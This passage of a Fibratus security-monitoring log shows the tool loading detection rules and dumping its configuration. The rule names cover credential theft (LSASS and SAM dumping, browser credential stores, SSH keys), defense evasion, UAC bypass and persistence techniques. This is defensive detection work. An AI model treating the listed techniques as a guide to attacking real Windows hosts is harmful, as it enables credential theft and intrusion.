Files\Neovim\bin;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp TMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\ServiceProfiles\NetworkService _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T11:31:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T11:31:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:31:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:32:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:32:01+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T11:32:01+01:00 level=info msg=bootstrapping with pid 3040. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:32:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false port=>25 to=>[] use-template=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-net=>true enable-handle=>false enable-mem=>false enable-thread=>true enable-registry=>true max-buffers=>36 buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-vamap=>true flush-interval=>1s enable-threadpool=>false stack-enrichment=>true enable-dns=>false enable-fileio=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 log-stdout=>true max-backups=>15 formatter=>text max-age=>0] + output ......................... [ elasticsearch=>[ index-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false timeout=>5s healthcheck-timeout=>5s sniff=>false healthcheck-interval=>10s enabled=>false healthcheck=>true bulk-workers=>1 flush-period=>1s template-name=>fibratus gzip-compression=>false] amqp=>[ durable=>false passive=>false exchange-type=>topic tls-insecure-skip-verify=>false routing-key=>fibratus enabled=>false exchange=>fibratus timeout=>5s url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/] http=>[ timeout=>5s method=>POST enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false enabled=>false endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] scan-timeout=>10s fastscan=>true skip-allocs=>false skip-registry=>false skip-mmaps=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:32:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:32:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:32:21+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T11:32:21+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:32:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:33:18+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info 